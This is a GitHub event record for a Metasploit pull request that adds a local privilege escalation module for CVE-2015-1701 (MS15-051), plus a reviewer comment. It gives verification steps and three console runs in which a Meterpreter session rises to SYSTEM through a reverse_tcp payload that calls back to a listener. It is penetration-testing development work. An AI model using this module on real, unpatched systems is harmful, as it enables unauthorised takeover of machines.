{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5466","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5466/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5466/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5466/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5466","id":84524474,"number":5466,"title":"Add butchered version of CVE-2015-1701","user":{"login":"OJ","id":28896,"avatar_url":"https://avatars.githubusercontent.com/u/28896?v=3","gravatar_id":"","url":"https://api.github.com/users/OJ","html_url":"https://github.com/OJ","followers_url":"https://api.github.com/users/OJ/followers","following_url":"https://api.github.com/users/OJ/following{/other_user}","gists_url":"https://api.github.com/users/OJ/gists{/gist_id}","starred_url":"https://api.github.com/users/OJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OJ/subscriptions","organizations_url":"https://api.github.com/users/OJ/orgs","repos_url":"https://api.github.com/users/OJ/repos","events_url":"https://api.github.com/users/OJ/events{/privacy}","received_events_url":"https://api.github.com/users/OJ/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":{"login":"zeroSteiner","id":2058303,"avatar_url":"https://avatars.githubusercontent.com/u/2058303?v=3","gravatar_id":"","url":"https://api.github.com/users/zeroSteiner","html_url":"https://github.com/zeroSteiner","followers_url":"https://api.github.com/users/zeroSteiner/followers","following_url":"https://api.github.com/users/zeroSteiner/following{/other_user}","gists_url":"https://api.github.com/users/zeroSteiner/gists{/gist_id}","starred_url":"https://api.github.com/users/zeroSteiner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zeroSteiner/subscriptions","organizations_url":"https://api.github.com/users/zeroSteiner/orgs","repos_url":"https://api.github.com/users/zeroSteiner/repos","events_url":"https://api.github.com/users/zeroSteiner/events{/privacy}","received_events_url":"https://api.github.com/users/zeroSteiner/received_events","type":"User","site_admin":false},"milestone":null,"comments":3,"created_at":"2015-06-03T12:06:29Z","updated_at":"2015-06-04T05:44:26Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5466","html_url":"https://github.com/rapid7/metasploit-framework/pull/5466","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5466.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5466.patch"},"body":"This PR includes the first pass of a module and source that provides a local privilege escalation for CVE-2015-1701 ([MS15-051](https://technet.microsoft.com/library/security/MS15-051)), [documented by FireEye](https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html).\r\n\r\nCode for this module was blatantly purloined from [this repository](https://github.com/hfiref0x/CVE-2015-1701). It has very few adjustments, other than the ones to make it work within the Meterpreter ecosystem. Those changes are:\r\n\r\n* Changing the way some functions are imported.\r\n* Adding the reflective loader functionality (hooray include collisions!)\r\n* Adding the DLL entry point which includes the pointer to the shellcode.\r\n* Wiring in the shellcode invocation at the point where the exploit would normally invoke cmd.exe.\r\n\r\nI haven't spent _any_ time tidying the C source up at all. The MSF module pretty much a direct copy of an existing local exploit module with the appropriate tweaks made.\r\n\r\nI have successfully tested this on Windows 7 x64 and x86 (build 7600), and on Windows 2008 R2 SP1 x64, though according to the technet articles the vulnerability should work on earlier versions as well.\r\n\r\nI'd like to call on the fine minds of @zeroSteiner, @wchen-r7 and @jvazquez-r7 to cast an eye over this. It could use some serious tidying up and you guys are meticulous! Any comments would be appreciated. My feeling is that this can be landed 'as is' without too many changes, and we can spend more time later tidying up the C code if we feel like it.\r\n\r\n**Note**: this PR includes functioning binaries as part of a signed commit.\r\n\r\n## Verification\r\n- [ ] Get hold of a Windows 7 x86 and/or x64 VM, or Windows 2008 VM that is unpatched (ie. missing the patch https://support.microsoft.com/kb/3057191 ).\r\n- [ ] Create a meterpreter session as a non-privileged user.\r\n- [ ] Background the session and load the exploit post module `exploit/windows/local/ms15_051_client_copy_image`.\r\n- [ ] Configure the post module appropriately for the target in question, and select an appropriate payload.\r\n- [ ] Run the exploit and hopefully you'll see a SYSTEM shell come flying back at you.\r\n\r\n## Sample Runs\r\n### Windows 7 x86\r\n```\r\nmeterpreter > getuid\r\nServer username: dobby-PC\\dobby\r\nmeterpreter > sysinfo\r\nComputer        : DOBBY-PC\r\nOS              : Windows 7 (Build 7600).\r\nArchitecture    : x86\r\nSystem Language : en_AU\r\nDomain          : WORKGROUP\r\nLogged On Users : 2\r\nMeterpreter     : x86/win32\r\nmeterpreter > background\r\n[*] Backgrounding session 9...\r\nmsf exploit(ms15_051_client_copy_image) > show options\r\n\r\nModule options (exploit/windows/local/ms15_051_client_copy_image):\r\n\r\n   Name     Current Setting  Required  Description\r\n   ----     ---------------  --------  -----------\r\n   SESSION  9                yes       The session to run this module on.\r\n\r\n\r\nPayload options (windows/shell/reverse_tcp):\r\n\r\n   Name      Current Setting  Required  Description\r\n   ----      ---------------  --------  -----------\r\n   EXITFUNC  thread           yes       Exit technique (accepted: , , seh, thread, process, none)\r\n   LHOST     XXX.XXX.XXX.XXX  yes       The listen address\r\n   LPORT     80               yes       The listen port\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   Windows x86\r\n\r\nmsf exploit(ms15_051_client_copy_image) > run\r\n\r\n[*] Launching notepad to host the exploit...\r\n[+] Process 2508 launched.\r\n[*] Reflectively injecting the exploit DLL into 2508...\r\n[*] Injecting exploit into 2508...\r\n[*] Exploit injected. Injecting payload into 2508...\r\n[*] Payload injected. Executing exploit...\r\n[*] Sending stage (884270 bytes) to 120.148.51.167\r\n[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.\r\nmsf exploit(ms15_051_client_copy_image) > sessions[*] Meterpreter session 10 opened (10.1.10.40:4444 -> XXX.XXX.XXX.XXX:49159) at 2015-06-03 21:38:12 +1000\r\n -i 10\r\n[*] Starting interaction with 10...\r\n\r\nmeterpreter > getuid\r\nServer username: NT AUTHORITY\\SYSTEM\r\nmeterpreter > sysinfo\r\nComputer        : DOBBY-PC\r\nOS              : Windows 7 (Build 7600).\r\nArchitecture    : x86\r\nSystem Language : en_AU\r\nDomain          : WORKGROUP\r\nLogged On Users : 2\r\nMeterpreter     : x86/win32\r\nmeterpreter >\r\n```\r\n### Windows 7 x64\r\n```\r\nmeterpreter > getuid\r\nServer username: WIN-S45GUQ5KGVK\\OJ\r\nmeterpreter > sysinfo\r\nComputer        : WIN-S45GUQ5KGVK\r\nOS              : Windows 7 (Build 7601, Service Pack 1).\r\nArchitecture    : x64\r\nSystem Language : en_US\r\nDomain          : WORKGROUP\r\nLogged On Users : 2\r\nMeterpreter     : x64/win64\r\nmeterpreter > background\r\n[*] Backgrounding session 5...\r\nmsf exploit(ms15_051_client_copy_image) > run\r\n\r\n[*] Started reverse handler on 10.1.10.40:4444 \r\n[*] Launching notepad to host the exploit...\r\n[+] Process 856 launched.\r\n[*] Reflectively injecting the exploit DLL into 856...\r\n[*] Injecting exploit into 856...\r\n[*] Exploit injected. Injecting payload into 856...\r\n[*] Payload injected. Executing exploit...\r\n[*] Sending stage (1103410 bytes) to 10.1.10.35\r\n[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.\r\n[*] Meterpreter session 6 opened (10.1.10.40:4444 -> 10.1.10.35:49172) at 2015-06-03 20:57:38 +1000\r\n\r\nmeterpreter > getuid\r\nServer username: NT AUTHORITY\\SYSTEM\r\nmeterpreter > sysinfo\r\nComputer        : WIN-S45GUQ5KGVK\r\nOS              : Windows 7 (Build 7601, Service Pack 1).\r\nArchitecture    : x64\r\nSystem Language : en_US\r\nDomain          : WORKGROUP\r\nLogged On Users : 2\r\nMeterpreter     : x64/win64\r\nmeterpreter >\r\n```\r\n### Windows 2008 R2 SP1 x64\r\n```\r\nmeterpreter > getuid\r\nServer username: PWNAGE\\OJ Reeves\r\nmeterpreter > sysinfo\r\nComputer        : WIN2008R2\r\nOS              : Windows 2008 R2 (Build 7601, Service Pack 1).\r\nArchitecture    : x64\r\nSystem Language : en_US\r\nDomain          : PWNAGE\r\nLogged On Users : 2\r\nMeterpreter     : x64/win64\r\nmeterpreter > background\r\n[*] Backgrounding session 12...\r\nmsf exploit(ms15_051_client_copy_image) > run\r\n\r\n[*] Started reverse handler on 10.1.10.40:5555 \r\n[*] Launching notepad to host the exploit...\r\n[+] Process 444 launched.\r\n[*] Reflectively injecting the exploit DLL into 444...\r\n[*] Injecting exploit into 444...\r\n[*] Exploit injected. Injecting payload into 444...\r\n[*] Payload injected. Executing exploit...\r\n[*] Sending stage (1103410 bytes) to 10.1.10.12\r\n[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.\r\n[*] Meterpreter session 13 opened (10.1.10.40:5555 -> 10.1.10.12:49168) at 2015-06-03 22:14:07 +1000\r\n\r\nmeterpreter > getuid\r\nServer username: NT AUTHORITY\\SYSTEM\r\nmeterpreter > sysinfo\r\nComputer        : WIN2008R2\r\nOS              : Windows 2008 R2 (Build 7601, Service Pack 1).\r\nArchitecture    : x64\r\nSystem Language : en_US\r\nDomain          : PWNAGE\r\nLogged On Users : 2\r\nMeterpreter     : x64/win64\r\nmeterpreter > \r\n```\r\n\r\nThanks to @multiplex3r for helping out with testing."},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/108735226","html_url":"https://github.com/rapid7/metasploit-framework/pull/5466#issuecomment-108735226","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5466","id":108735226,"user":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"created_at":"2015-06-04T05:44:26Z","updated_at":"2015-06-04T05:44:26Z","body":"@OJ Notepad crashes, never BSOD. Sorry wasn't very clear!"}}